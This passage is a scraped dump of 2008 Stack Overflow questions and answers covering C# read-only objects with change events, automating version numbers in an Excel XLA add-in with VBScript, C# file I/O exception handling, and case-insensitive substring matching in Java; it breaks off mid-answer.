properties. This still doesn't protect your implementation and isn't a good solution though it does go some way to emphasize your intention.</p>\n\n<p>In your property setters you'll have to implement an event notification. Approaching this problem myself I would not create separate events and event handlers for each property but instead create a single PropertyChanged event and fire it in each property when a change occurs (where the event arguments would include the property name, old value, and new value). </p>\n" }, { "answer_id": 87009, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Seems odd that, though I cannot change the name of the Person object, I can simply grab its controller and change it there. That's not a good way to secure your object's data.</p>\n\n<p>But, notwithstanding, here's a way to do it:</p>\n\n<pre><code> /// &lt;summary&gt;\n /// A controlled person. Not production worthy code.\n /// &lt;/summary&gt;\n public class Person\n {\n private string _name;\n public string Name\n {\n get { return _name; }\n private set\n {\n _name = value;\n OnNameChanged();\n }\n }\n /// &lt;summary&gt;\n /// This person's controller\n /// &lt;/summary&gt;\n public PersonController Controller\n {\n get { return _controller ?? (_controller = new PersonController(this)); }\n }\n private PersonController _controller;\n\n /// &lt;summary&gt;\n /// Fires when &lt;seealso cref=\"Name\"/&gt; changes. Go get the new name yourself.\n /// &lt;/summary&gt;\n public event EventHandler NameChanged;\n\n private void OnNameChanged()\n {\n if (NameChanged != null)\n NameChanged(this, EventArgs.Empty);\n }\n\n /// &lt;summary&gt;\n /// A Person controller.\n /// &lt;/summary&gt;\n public class PersonController\n {\n Person _slave;\n public PersonController(Person slave)\n {\n _slave = slave;\n }\n /// &lt;summary&gt;\n /// Sets the name on the controlled person.\n /// &lt;/summary&gt;\n /// &lt;param name=\"name\"&gt;The name to set.&lt;/param&gt;\n public void SetName(string name) { _slave.Name = name; }\n }\n }\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86726", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4687/" ]
I have the following type : ``` // incomplete class definition public class Person { private string name; public string Name { get { return this.name; } } } ``` I want this type to be **created** and **updated** with some sort of dedicated controller/builder, but I want it to remain **read-only for other types**. This object also needs to fire an event every time it is updated by its controller/builder. To summary, according to the previous type definition skeleton : * The `Person` could only be instantiated by a specific controller * This controller could **update** the state of the `Person` (`name` field) at any time * The `Person` need to send a **notification** to the rest of the world when it occurs * All other types should only be able to **read** `Person` attributes How should I implement this ? I'm talking about a controller/builder here, but all others solutions are welcome. Note : *I would be able to rely on the `internal` modifier, but ideally all my stuff should be in the same assembly.*
Create an interface IReadOnlyPerson which exposes only get accessors. Have Person implement IReadOnlyPerson. Store the reference to Person in your controller. Give other clients only the read only version. This will protect against mistakes, but not fraud, as with most OO features. Clients can runtime cast to Person if they happen to know (or suspect) IReadOnlyPerson is implemented by Person. **Update, per the comment:** The Read Only interface may also expose an event delegate, just like any other object. The idiom generally used in C# doesn't prevent clients from messing with the list of listeners, but convention is only to add listeners, so that should be adequate. Inside any set accessor or function with state-changing side effects, just call the event delegate with a guard for the null (no listeners) case.
86,763
<p>I'm trying to create a build script for my current project, which includes an Excel Add-in. The Add-in contains a VBProject with a file modGlobal with a variable version_Number. This number needs to be changed for every build. The exact steps:</p> <ol> <li>Open XLA document with Excel.</li> <li>Switch to VBEditor mode. (Alt+F11)</li> <li>Open VBProject, entering a password.</li> <li>Open modGlobal file.</li> <li>Change variable's default value to the current date.</li> <li>Close &amp; save the project.</li> </ol> <p>I'm at a loss for how to automate the process. The best I can come up with is an excel macro or Auto-IT script. I could also write a custom MSBuild task, but that might get... tricky. Does anyone else have any other suggestions?</p>
[ { "answer_id": 89121, "author": "Mark Nold", "author_id": 4134, "author_profile": "https://Stackoverflow.com/users/4134", "pm_score": 1, "selected": false, "text": "<p>I'm not 100% sure how to do exactly what you have requested. But guessing the goal you have in mind there are a few possibilities.</p>\n\n<p><strong>1)</strong> Make part (or all) of your Globals a separate text file that is distributed with the .XLA I would use this for external references such as the version of the rest of your app. Write this at build time and distribute, and read on the load of the XLA.</p>\n\n<p><strong>2)</strong> I'm guessing your writing the version of the main component (ie: the non XLA part) of your application. If this is tru why store this in your XLA? Why not have the main part of the app allow certain version of the XLA to work. Version 1.1 of the main app could accept calls from Version 7.1 - 8.9 of the XLA.</p>\n\n<p><strong>3)</strong> If you are just looking to update the XLA so it gets included in your version control system or similar (i'm guessing here) maybe just touch the file so it looks like it changed.</p>\n\n<p>If it's the version of the rest of the app that you are controlling i'd just stick it in a text file and distribute that along with the XLA.</p>\n" }, { "answer_id": 92646, "author": "Hobbo", "author_id": 6387, "author_profile": "https://Stackoverflow.com/users/6387", "pm_score": 0, "selected": false, "text": "<p>You can modify the code in the xla programmatically from within Excel. You will need a reference to the 'Microsoft Visual Basic for Applications Extensibility..' component.</p>\n\n<p>The examples on <a href=\"http://www.cpearson.com/excel/vbe.aspx\" rel=\"nofollow noreferrer\">Chip Pearson's excellent site</a> should get you started.</p>\n" }, { "answer_id": 119465, "author": "Joe", "author_id": 13087, "author_profile": "https://Stackoverflow.com/users/13087", "pm_score": 3, "selected": true, "text": "<p>An alternative way of handling versioning of an XLA file is to use a custom property in Document Properties. You can access and manipulate using COM as described here: <a href=\"http://support.microsoft.com/?kbid=224351\" rel=\"nofollow noreferrer\">http://support.microsoft.com/?kbid=224351</a>.</p>\n\n<p>Advantages of this are:</p>\n\n<ul>\n<li><p>You can examine the version number without opening the XLA file</p></li>\n<li><p>You don't need Excel on your build machine - only the DsoFile.dll component</p></li>\n</ul>\n\n<p>Another alternative would be to store the version number (possibly other configuration data too) on a worksheet in the XLA file. The worksheet would not be visible to users of the XLA. One technique I have used in the past is to store the add-in as an XLS file in source control, then as part of the build process (e.g. in a Post-Build event) run the script below to convert it to an XLA in the output directory. This script could be easily extended to update a version number in a worksheet before saving. In my case I did this because my Excel Add-in used VSTO, and Visual Studio doesn't support XLA files directly.</p>\n\n<pre><code>'\n' ConvertToXla.vbs\n'\n' VBScript to convert an Excel spreadsheet (.xls) into an Excel Add-In (.xla)\n'\n' The script takes two arguments:\n'\n' - the name of the input XLS file.\n'\n' - the name of the output XLA file.\n'\nOption Explicit\nDim nResult\nOn Error Resume Next\nnResult = DoAction\nIf Err.Number &lt;&gt; 0 Then \n Wscript.Echo Err.Description\n Wscript.Quit 1\nEnd If\nWscript.Quit nResult\n\nPrivate Function DoAction()\n\n Dim sInputFile, sOutputFile\n\n Dim argNum, argCount: argCount = Wscript.Arguments.Count\n\n If argCount &lt; 2 Then\n Err.Raise 1, \"ConvertToXla.vbs\", \"Missing argument\"\n End If\n\n sInputFile = WScript.Arguments(0)\n sOutputFile = WScript.Arguments(1)\n\n Dim xlApplication\n\n Set xlApplication = WScript.CreateObject(\"Excel.Application\")\n On Error Resume Next \n ConvertFileToXla xlApplication, sInputFile, sOutputFile\n If Err.Number &lt;&gt; 0 Then \n Dim nErrNumber\n Dim sErrSource\n Dim sErrDescription\n nErrNumber = Err.Number\n sErrSource = Err.Source\n sErrDescription = Err.Description\n xlApplication.Quit\n Err.Raise nErrNumber, sErrSource, sErrDescription\n Else\n xlApplication.Quit\n End If\n\nEnd Function\n\nPublic Sub ConvertFileToXla(xlApplication, sInputFile, sOutputFile)\n\n Dim xlAddIn\n xlAddIn = 18 ' XlFileFormat.xlAddIn\n\n Dim w\n Set w = xlApplication.Workbooks.Open(sInputFile,,,,,,,,,True)\n w.IsAddIn = True\n w.SaveAs sOutputFile, xlAddIn\n w.Close False\nEnd Sub\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86763", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1390/" ]
I'm trying to create a build script for my current project, which includes an Excel Add-in. The Add-in contains a VBProject with a file modGlobal with a variable version\_Number. This number needs to be changed for every build. The exact steps: 1. Open XLA document with Excel. 2. Switch to VBEditor mode. (Alt+F11) 3. Open VBProject, entering a password. 4. Open modGlobal file. 5. Change variable's default value to the current date. 6. Close & save the project. I'm at a loss for how to automate the process. The best I can come up with is an excel macro or Auto-IT script. I could also write a custom MSBuild task, but that might get... tricky. Does anyone else have any other suggestions?
An alternative way of handling versioning of an XLA file is to use a custom property in Document Properties. You can access and manipulate using COM as described here: <http://support.microsoft.com/?kbid=224351>. Advantages of this are: * You can examine the version number without opening the XLA file * You don't need Excel on your build machine - only the DsoFile.dll component Another alternative would be to store the version number (possibly other configuration data too) on a worksheet in the XLA file. The worksheet would not be visible to users of the XLA. One technique I have used in the past is to store the add-in as an XLS file in source control, then as part of the build process (e.g. in a Post-Build event) run the script below to convert it to an XLA in the output directory. This script could be easily extended to update a version number in a worksheet before saving. In my case I did this because my Excel Add-in used VSTO, and Visual Studio doesn't support XLA files directly. ``` ' ' ConvertToXla.vbs ' ' VBScript to convert an Excel spreadsheet (.xls) into an Excel Add-In (.xla) ' ' The script takes two arguments: ' ' - the name of the input XLS file. ' ' - the name of the output XLA file. ' Option Explicit Dim nResult On Error Resume Next nResult = DoAction If Err.Number <> 0 Then Wscript.Echo Err.Description Wscript.Quit 1 End If Wscript.Quit nResult Private Function DoAction() Dim sInputFile, sOutputFile Dim argNum, argCount: argCount = Wscript.Arguments.Count If argCount < 2 Then Err.Raise 1, "ConvertToXla.vbs", "Missing argument" End If sInputFile = WScript.Arguments(0) sOutputFile = WScript.Arguments(1) Dim xlApplication Set xlApplication = WScript.CreateObject("Excel.Application") On Error Resume Next ConvertFileToXla xlApplication, sInputFile, sOutputFile If Err.Number <> 0 Then Dim nErrNumber Dim sErrSource Dim sErrDescription nErrNumber = Err.Number sErrSource = Err.Source sErrDescription = Err.Description xlApplication.Quit Err.Raise nErrNumber, sErrSource, sErrDescription Else xlApplication.Quit End If End Function Public Sub ConvertFileToXla(xlApplication, sInputFile, sOutputFile) Dim xlAddIn xlAddIn = 18 ' XlFileFormat.xlAddIn Dim w Set w = xlApplication.Workbooks.Open(sInputFile,,,,,,,,,True) w.IsAddIn = True w.SaveAs sOutputFile, xlAddIn w.Close False End Sub ```
86,766
<p>Often I find myself interacting with files in some way but after writing the code I'm always uncertain how robust it actually is. The problem is that I'm not entirely sure how file related operations can fail and, therefore, the best way to handle exceptions.</p> <p>The simple solution would seem to be just to catch any <code>IOExceptions</code> thrown by the code and give the user an &quot;Inaccessible file&quot; error message, but is it possible to get a bit more fine-grained error messages? Is there a way to determine the difference between such errors as a file being locked by another program and the data being unreadable due to a hardware error?</p> <p>Given the following C# code, how would you handle errors in a user friendly (as informative as possible) way?</p> <pre><code>public class IO { public List&lt;string&gt; ReadFile(string path) { FileInfo file = new FileInfo(path); if (!file.Exists) { throw new FileNotFoundException(); } StreamReader reader = file.OpenText(); List&lt;string&gt; text = new List&lt;string&gt;(); while (!reader.EndOfStream) { text.Add(reader.ReadLine()); } reader.Close(); reader.Dispose(); return text; } public void WriteFile(List&lt;string&gt; text, string path) { FileInfo file = new FileInfo(path); if (!file.Exists) { throw new FileNotFoundException(); } StreamWriter writer = file.CreateText(); foreach(string line in text) { writer.WriteLine(line); } writer.Flush(); writer.Close(); writer.Dispose(); } } </code></pre>
[ { "answer_id": 86855, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 3, "selected": false, "text": "<p>The first thing you should change are your calls to StreamWriter and StreamReader to wrap them in a using statement, like this:</p>\n\n<pre><code>using (StreamReader reader = file.OpenText())\n{\n List&lt;string&gt; text = new List&lt;string&gt;();\n while (!reader.EndOfStream)\n {\n text.Add(reader.ReadLine());\n }\n}\n</code></pre>\n\n<p>This will take care of calling Close and Dispose for you and will actually wrap it in a try/finally block so the actual compiled code looks like this:</p>\n\n<pre><code>StreamReader reader = file.OpenText();\ntry\n{\n List&lt;string&gt; text = new List&lt;string&gt;();\n while (!reader.EndOfStream)\n {\n text.Add(reader.ReadLine());\n }\n}\nfinally\n{\n if (reader != null)\n ((IDisposable)reader).Dispose();\n}\n</code></pre>\n\n<p>The benefit here is that you ensure the stream gets closed even if an exception occurs.</p>\n\n<p>As far as any more explicit exception handling, it really depends on what you want to happen. In your example you explicitly test if the file exists and throw a FileNotFoundException which may be enough for your users but it may not.</p>\n" }, { "answer_id": 86914, "author": "Rune", "author_id": 7948, "author_profile": "https://Stackoverflow.com/users/7948", "pm_score": 1, "selected": false, "text": "<ul>\n<li>Skip the File.Exists(); either handle it elsewhere or let CreateText()/OpenText() raise it. </li>\n<li>The end-user usually only cares if it succeeds or not. If it fails, just say so, he don't want details. </li>\n</ul>\n\n<p>I haven't found a built-in way to get details about what and why something failed in .NET, but if you go native with CreateFile you have thousands of error-codes that can tell you what went wrong. </p>\n" }, { "answer_id": 86916, "author": "Brian", "author_id": 1750627, "author_profile": "https://Stackoverflow.com/users/1750627", "pm_score": 0, "selected": false, "text": "<p>I would use the using statement to simplify closing the file. See <a href=\"http://msdn.microsoft.com/en-us/library/aa664736.aspx\" rel=\"nofollow noreferrer\">MSDN the C# using statement</a></p>\n\n<p>From MSDN:</p>\n\n<pre><code> using (TextWriter w = File.CreateText(\"log.txt\")) {\n w.WriteLine(\"This is line one\");\n w.WriteLine(\"This is line two\");\n }\n using (TextReader r = File.OpenText(\"log.txt\")) {\n string s;\n while ((s = r.ReadLine()) != null) {\n Console.WriteLine(s);\n }\n }\n</code></pre>\n" }, { "answer_id": 86942, "author": "Joe", "author_id": 13087, "author_profile": "https://Stackoverflow.com/users/13087", "pm_score": 1, "selected": false, "text": "<p>I don't see the point in checking for existence of a file and throwing a FileNotFoundException with no message. The framework will throw the FileNotFoundException itself, with a message.</p>\n\n<p>Another problem with your example is that you should be using the try/finally pattern or the using statement to ensure your disposable classes are properly disposed even when there is an exception.</p>\n\n<p>I would do this something like the following, catch any exception outside the method, and display the exception's message :</p>\n\n<pre><code>public IList&lt;string&gt; ReadFile(string path)\n{\n List&lt;string&gt; text = new List&lt;string&gt;();\n using(StreamReader reader = new StreamReader(path))\n {\n while (!reader.EndOfStream) \n { \n text.Add(reader.ReadLine()); \n }\n }\n return text;\n}\n</code></pre>\n" }, { "answer_id": 86957, "author": "Georgi", "author_id": 13209, "author_profile": "https://Stackoverflow.com/users/13209", "pm_score": 0, "selected": false, "text": "<p>Perhaps this is not what you are looking for, but reconsider the kind you are using exception handling. At first exception handling should not be treated to be \"user-friendly\", at least as long as you think of a programmer as user.</p>\n\n<p>A sum-up for that may be the following article <a href=\"http://goit-postal.blogspot.com/2007/03/brief-introduction-to-exception.html\" rel=\"nofollow noreferrer\">http://goit-postal.blogspot.com/2007/03/brief-introduction-to-exception.html</a> .</p>\n" }, { "answer_id": 90627, "author": "Dustman", "author_id": 16398, "author_profile": "https://Stackoverflow.com/users/16398", "pm_score": 5, "selected": true, "text": "<blockquote>\n <p>...but is it possible to get a bit more fine-grained error messages.</p>\n</blockquote>\n\n<p>Yes. Go ahead and catch <code>IOException</code>, and use the <code>Exception.ToString()</code> method to get a relatively relevant error message to display. Note that the exceptions generated by the .NET Framework will supply these useful strings, but if you are going to throw your own exception, you must remember to plug in that string into the <code>Exception</code>'s constructor, like:</p>\n\n<p><code>throw new FileNotFoundException(\"File not found\");</code></p>\n\n<p>Also, absolutely, as per <a href=\"https://stackoverflow.com/users/1559/scott-dorman\">Scott Dorman</a>, use that <code>using</code> statement. The thing to notice, though, is that the <code>using</code> statement doesn't actually <code>catch</code> anything, which is the way it ought to be. Your test to see if the file exists, for instance, will introduce a race condition that may be rather <a href=\"http://blogs.msdn.com/ericlippert/archive/2008/09/10/vexing-exceptions.aspx\" rel=\"noreferrer\">vexing</a>. It doesn't really do you any good to have it in there. So, now, for the reader we have:</p>\n\n<pre><code>try { \n using (StreamReader reader = file.OpenText()) { \n // Your processing code here \n } \n} catch (IOException e) { \n UI.AlertUserSomehow(e.ToString()); \n}</code></pre>\n\n<p>In short, for basic file operations:<br>\n1. Use <code>using</code><br>\n2, Wrap the using statement or function in a <code>try</code>/<code>catch</code> that <code>catch</code>es <code>IOException</code><br>\n3. Use <code>Exception.ToString()</code> in your <code>catch</code> to get a useful error message<br>\n4. Don't try to detect exceptional file issues yourself. Let .NET do the throwing for you.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86766", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4055/" ]
Often I find myself interacting with files in some way but after writing the code I'm always uncertain how robust it actually is. The problem is that I'm not entirely sure how file related operations can fail and, therefore, the best way to handle exceptions. The simple solution would seem to be just to catch any `IOExceptions` thrown by the code and give the user an "Inaccessible file" error message, but is it possible to get a bit more fine-grained error messages? Is there a way to determine the difference between such errors as a file being locked by another program and the data being unreadable due to a hardware error? Given the following C# code, how would you handle errors in a user friendly (as informative as possible) way? ``` public class IO { public List<string> ReadFile(string path) { FileInfo file = new FileInfo(path); if (!file.Exists) { throw new FileNotFoundException(); } StreamReader reader = file.OpenText(); List<string> text = new List<string>(); while (!reader.EndOfStream) { text.Add(reader.ReadLine()); } reader.Close(); reader.Dispose(); return text; } public void WriteFile(List<string> text, string path) { FileInfo file = new FileInfo(path); if (!file.Exists) { throw new FileNotFoundException(); } StreamWriter writer = file.CreateText(); foreach(string line in text) { writer.WriteLine(line); } writer.Flush(); writer.Close(); writer.Dispose(); } } ```
> > ...but is it possible to get a bit more fine-grained error messages. > > > Yes. Go ahead and catch `IOException`, and use the `Exception.ToString()` method to get a relatively relevant error message to display. Note that the exceptions generated by the .NET Framework will supply these useful strings, but if you are going to throw your own exception, you must remember to plug in that string into the `Exception`'s constructor, like: `throw new FileNotFoundException("File not found");` Also, absolutely, as per [Scott Dorman](https://stackoverflow.com/users/1559/scott-dorman), use that `using` statement. The thing to notice, though, is that the `using` statement doesn't actually `catch` anything, which is the way it ought to be. Your test to see if the file exists, for instance, will introduce a race condition that may be rather [vexing](http://blogs.msdn.com/ericlippert/archive/2008/09/10/vexing-exceptions.aspx). It doesn't really do you any good to have it in there. So, now, for the reader we have: ``` try { using (StreamReader reader = file.OpenText()) { // Your processing code here } } catch (IOException e) { UI.AlertUserSomehow(e.ToString()); } ``` In short, for basic file operations: 1. Use `using` 2, Wrap the using statement or function in a `try`/`catch` that `catch`es `IOException` 3. Use `Exception.ToString()` in your `catch` to get a useful error message 4. Don't try to detect exceptional file issues yourself. Let .NET do the throwing for you.
86,780
<p>Say I have two strings,</p> <pre><code>String s1 = "AbBaCca"; String s2 = "bac"; </code></pre> <p>I want to perform a check returning that <code>s2</code> is contained within <code>s1</code>. I can do this with:</p> <pre><code>return s1.contains(s2); </code></pre> <p>I am pretty sure that <code>contains()</code> is case sensitive, however I can't determine this for sure from reading the documentation. If it is then I suppose my best method would be something like:</p> <pre><code>return s1.toLowerCase().contains(s2.toLowerCase()); </code></pre> <p>All this aside, is there another (possibly better) way to accomplish this without caring about case-sensitivity?</p>
[ { "answer_id": 86832, "author": "Dave L.", "author_id": 3093, "author_profile": "https://Stackoverflow.com/users/3093", "pm_score": 9, "selected": true, "text": "<p>Yes, contains is case sensitive. You can use java.util.regex.Pattern with the CASE_INSENSITIVE flag for case insensitive matching:</p>\n\n<pre><code>Pattern.compile(Pattern.quote(wantedStr), Pattern.CASE_INSENSITIVE).matcher(source).find();\n</code></pre>\n\n<p><strong>EDIT:</strong> If s2 contains regex special characters (of which there are many) it's important to quote it first. I've corrected my answer since it is the first one people will see, but vote up Matt Quail's since he pointed this out.</p>\n" }, { "answer_id": 86837, "author": "SCdF", "author_id": 1666, "author_profile": "https://Stackoverflow.com/users/1666", "pm_score": 1, "selected": false, "text": "<p>I'm not sure what your main question is here, but yes, .contains is case sensitive.</p>\n" }, { "answer_id": 90780, "author": "Matt Quail", "author_id": 15790, "author_profile": "https://Stackoverflow.com/users/15790", "pm_score": 8, "selected": false, "text": "<p>One problem with <a href=\"https://stackoverflow.com/questions/86780/is-the-contains-method-in-java-lang-string-case-sensitive/86832#86832\">the answer by Dave L.</a> is when s2 contains regex markup such as <code>\\d</code>, etc.</p>\n\n<p>You want to call Pattern.quote() on s2:</p>\n\n<pre><code>Pattern.compile(Pattern.quote(s2), Pattern.CASE_INSENSITIVE).matcher(s1).find();\n</code></pre>\n" }, { "answer_id": 2647156, "author": "Bilbo Baggins", "author_id": 317728, "author_profile": "https://Stackoverflow.com/users/317728", "pm_score": 4, "selected": false, "text": "<p>Yes, this is achievable:</p>\n\n<pre><code>String s1 = \"abBaCca\";\nString s2 = \"bac\";\n\nString s1Lower = s1;\n\n//s1Lower is exact same string, now convert it to lowercase, I left the s1 intact for print purposes if needed\n\ns1Lower = s1Lower.toLowerCase();\n\nString trueStatement = \"FALSE!\";\nif (s1Lower.contains(s2)) {\n\n //THIS statement will be TRUE\n trueStatement = \"TRUE!\"\n}\n\nreturn trueStatement;\n</code></pre>\n\n<p>This code will return the String \"TRUE!\" as it found that your characters were contained.</p>\n" }, { "answer_id": 4397645, "author": "IVY", "author_id": 536324, "author_profile": "https://Stackoverflow.com/users/536324", "pm_score": -1, "selected": false, "text": "<pre><code>String x=\"abCd\";\nSystem.out.println(Pattern.compile(\"c\",Pattern.CASE_INSENSITIVE).matcher(x).find());\n</code></pre>\n" }, { "answer_id": 8883863, "author": "Phil", "author_id": 763080, "author_profile": "https://Stackoverflow.com/users/763080", "pm_score": 5, "selected": false, "text": "<p>A simpler way of doing this (without worrying about pattern matching) would be converting both <code>String</code>s to lowercase:</p>\n\n<pre><code>String foobar = \"fooBar\";\nString bar = \"FOO\";\nif (foobar.toLowerCase().contains(bar.toLowerCase()) {\n System.out.println(\"It's a match!\");\n}\n</code></pre>\n" }, { "answer_id": 9560307, "author": "muhamadto", "author_id": 901982, "author_profile": "https://Stackoverflow.com/users/901982", "pm_score": 8, "selected": false, "text": "<p>You can use </p>\n\n<pre><code>org.apache.commons.lang3.StringUtils.containsIgnoreCase(\"AbBaCca\", \"bac\");\n</code></pre>\n\n<p>The <a href=\"https://en.wikipedia.org/wiki/Apache_Commons\" rel=\"noreferrer\">Apache Commons</a> library is very useful for this sort of thing. And this particular one may be better than regular expressions as regex is always expensive in terms of performance.</p>\n" }, { "answer_id": 12984575, "author": "Shiv", "author_id": 1140407, "author_profile": "https://Stackoverflow.com/users/1140407", "pm_score": 3, "selected": false, "text": "<p>You can use <a href=\"http://en.wikipedia.org/wiki/Regular_expression\" rel=\"nofollow\">regular expressions</a>, and it works:</p>\n\n<pre><code>boolean found = s1.matches(\"(?i).*\" + s2+ \".*\");\n</code></pre>\n" }, { "answer_id": 21153922, "author": "Jan Newmarch", "author_id": 1897195, "author_profile": "https://Stackoverflow.com/users/1897195", "pm_score": 2, "selected": false, "text": "<p>I did a test finding a case-insensitive match of a string. I have a Vector of 150,000 objects all with a String as one field and wanted to find the subset which matched a string. I tried three methods:</p>\n\n<ol>\n<li><p>Convert all to lower case</p>\n\n<pre><code>for (SongInformation song: songs) {\n if (song.artist.toLowerCase().indexOf(pattern.toLowercase() &gt; -1) {\n ...\n }\n}\n</code></pre></li>\n<li><p>Use the String matches() method</p>\n\n<pre><code>for (SongInformation song: songs) {\n if (song.artist.matches(\"(?i).*\" + pattern + \".*\")) {\n ...\n }\n}\n</code></pre></li>\n<li><p>Use regular expressions</p>\n\n<pre><code>Pattern p = Pattern.compile(pattern, Pattern.CASE_INSENSITIVE);\nMatcher m = p.matcher(\"\");\nfor (SongInformation song: songs) {\n m.reset(song.artist);\n if (m.find()) {\n ...\n }\n}\n</code></pre></li>\n</ol>\n\n<p>Timing results are:</p>\n\n<ul>\n<li><p>No attempted match: 20 msecs</p></li>\n<li><p>To lower match: 182 msecs</p></li>\n<li><p>String matches: 278 msecs</p></li>\n<li><p>Regular expression: 65 msecs</p></li>\n</ul>\n\n<p>The regular expression looks to be the fastest for this use case.</p>\n" }, { "answer_id": 21640291, "author": "seth", "author_id": 3285967, "author_profile": "https://Stackoverflow.com/users/3285967", "pm_score": 0, "selected": false, "text": "<pre><code>String container = \" Case SeNsitive \";\nString sub = \"sen\";\nif (rcontains(container, sub)) {\n System.out.println(\"no case\");\n}\n\npublic static Boolean rcontains(String container, String sub) {\n\n Boolean b = false;\n for (int a = 0; a &lt; container.length() - sub.length() + 1; a++) {\n //System.out.println(sub + \" to \" + container.substring(a, a+sub.length()));\n if (sub.equalsIgnoreCase(container.substring(a, a + sub.length()))) {\n b = true;\n }\n }\n return b;\n}\n</code></pre>\n\n<p>Basically, it is a method that takes two strings. It is supposed to be a not-case sensitive version of contains(). When using the contains method, you want to see if one string is contained in the other.</p>\n\n<p>This method takes the string that is \"sub\" and checks if it is equal to the substrings of the container string that are equal in length to the \"sub\". If you look at the <code>for</code> loop, you will see that it iterates in substrings (that are the length of the \"sub\") over the container string.</p>\n\n<p>Each iteration checks to see if the substring of the container string is <code>equalsIgnoreCase</code> to the sub.</p>\n" }, { "answer_id": 23892141, "author": "Hakanai", "author_id": 138513, "author_profile": "https://Stackoverflow.com/users/138513", "pm_score": 2, "selected": false, "text": "<p>Here's some Unicode-friendly ones you can make if you pull in ICU4j. I guess \"ignore case\" is questionable for the method names because although primary strength comparisons do ignore case, it's described as the specifics being locale-dependent. But it's hopefully locale-dependent in a way the user would expect.</p>\n\n<pre><code>public static boolean containsIgnoreCase(String haystack, String needle) {\n return indexOfIgnoreCase(haystack, needle) &gt;= 0;\n}\n\npublic static int indexOfIgnoreCase(String haystack, String needle) {\n StringSearch stringSearch = new StringSearch(needle, haystack);\n stringSearch.getCollator().setStrength(Collator.PRIMARY);\n return stringSearch.first();\n}\n</code></pre>\n" }, { "answer_id": 25379180, "author": "icza", "author_id": 1705598, "author_profile": "https://Stackoverflow.com/users/1705598", "pm_score": 7, "selected": false, "text": "<h2>A Faster Implementation: Utilizing <code>String.regionMatches()</code></h2>\n<p>Using regexp can be relatively slow. It (being slow) doesn't matter if you just want to check in one case. But if you have an array or a collection of thousands or hundreds of thousands of strings, things can get pretty slow.</p>\n<p>The presented solution below doesn't use regular expressions nor <code>toLowerCase()</code> (which is also slow because it creates another strings and just throws them away after the check).</p>\n<p>The solution builds on the <a href=\"http://docs.oracle.com/javase/8/docs/api/java/lang/String.html#regionMatches-boolean-int-java.lang.String-int-int-\" rel=\"nofollow noreferrer\"><strong>String.regionMatches()</strong></a> method which seems to be unknown. It checks if 2 <code>String</code> regions match, but what's important is that it also has an overload with a handy <code>ignoreCase</code> parameter.</p>\n<pre><code>public static boolean containsIgnoreCase(String src, String what) {\n final int length = what.length();\n if (length == 0)\n return true; // Empty string is contained\n \n final char firstLo = Character.toLowerCase(what.charAt(0));\n final char firstUp = Character.toUpperCase(what.charAt(0));\n \n for (int i = src.length() - length; i &gt;= 0; i--) {\n // Quick check before calling the more expensive regionMatches() method:\n final char ch = src.charAt(i);\n if (ch != firstLo &amp;&amp; ch != firstUp)\n continue;\n \n if (src.regionMatches(true, i, what, 0, length))\n return true;\n }\n \n return false;\n}\n</code></pre>\n<h2>Speed Analysis</h2>\n<p>This speed analysis does not mean to be rocket science, just a rough picture of how fast the different methods are.</p>\n<p>I compare 5 methods.</p>\n<ol>\n<li>Our <strong>containsIgnoreCase()</strong> method.</li>\n<li>By converting both strings to lower-case and call <code>String.contains()</code>.</li>\n<li>By converting source string to lower-case and call <code>String.contains()</code> with the pre-cached, lower-cased substring. This solution is already not as flexible because it tests a predefiend substring.</li>\n<li>Using regular expression (the accepted answer <code>Pattern.compile().matcher().find()</code>...)</li>\n<li>Using regular expression but with pre-created and cached <code>Pattern</code>. This solution is already not as flexible because it tests a predefined substring.</li>\n</ol>\n<p>Results (by calling the method 10 million times):</p>\n<ol>\n<li>Our method: 670 ms</li>\n<li>2x toLowerCase() and contains(): 2829 ms</li>\n<li>1x toLowerCase() and contains() with cached substring: 2446 ms</li>\n<li>Regexp: 7180 ms</li>\n<li>Regexp with cached <code>Pattern</code>: 1845 ms</li>\n</ol>\n<p>Results in a table:</p>\n<pre class=\"lang-none prettyprint-override\"><code> RELATIVE SPEED 1/RELATIVE SPEED\n METHOD EXEC TIME TO SLOWEST TO FASTEST (#1)\n------------------------------------------------------------------------------\n 1. Using regionMatches() 670 ms 10.7x 1.0x\n 2. 2x lowercase+contains 2829 ms 2.5x 4.2x\n 3. 1x lowercase+contains cache 2446 ms 2.9x 3.7x\n 4. Regexp 7180 ms 1.0x 10.7x\n 5. Regexp+cached pattern 1845 ms 3.9x 2.8x\n</code></pre>\n<p>Our method is <strong>4x faster</strong> compared to lowercasing and using <code>contains()</code>, <strong>10x faster</strong> compared to using regular expressions and also <strong>3x faster</strong> even if the <code>Pattern</code> is pre-cached (and losing flexibility of checking for an arbitrary substring).</p>\n<hr />\n<h2>Analysis Test Code</h2>\n<p>If you're interested how the analysis was performed, here is the complete runnable application:</p>\n<pre><code>import java.util.regex.Pattern;\n\npublic class ContainsAnalysis {\n \n // Case 1 utilizing String.regionMatches()\n public static boolean containsIgnoreCase(String src, String what) {\n final int length = what.length();\n if (length == 0)\n return true; // Empty string is contained\n \n final char firstLo = Character.toLowerCase(what.charAt(0));\n final char firstUp = Character.toUpperCase(what.charAt(0));\n \n for (int i = src.length() - length; i &gt;= 0; i--) {\n // Quick check before calling the more expensive regionMatches()\n // method:\n final char ch = src.charAt(i);\n if (ch != firstLo &amp;&amp; ch != firstUp)\n continue;\n \n if (src.regionMatches(true, i, what, 0, length))\n return true;\n }\n \n return false;\n }\n \n // Case 2 with 2x toLowerCase() and contains()\n public static boolean containsConverting(String src, String what) {\n return src.toLowerCase().contains(what.toLowerCase());\n }\n \n // The cached substring for case 3\n private static final String S = &quot;i am&quot;.toLowerCase();\n \n // Case 3 with pre-cached substring and 1x toLowerCase() and contains()\n public static boolean containsConverting(String src) {\n return src.toLowerCase().contains(S);\n }\n \n // Case 4 with regexp\n public static boolean containsIgnoreCaseRegexp(String src, String what) {\n return Pattern.compile(Pattern.quote(what), Pattern.CASE_INSENSITIVE)\n .matcher(src).find();\n }\n \n // The cached pattern for case 5\n private static final Pattern P = Pattern.compile(\n Pattern.quote(&quot;i 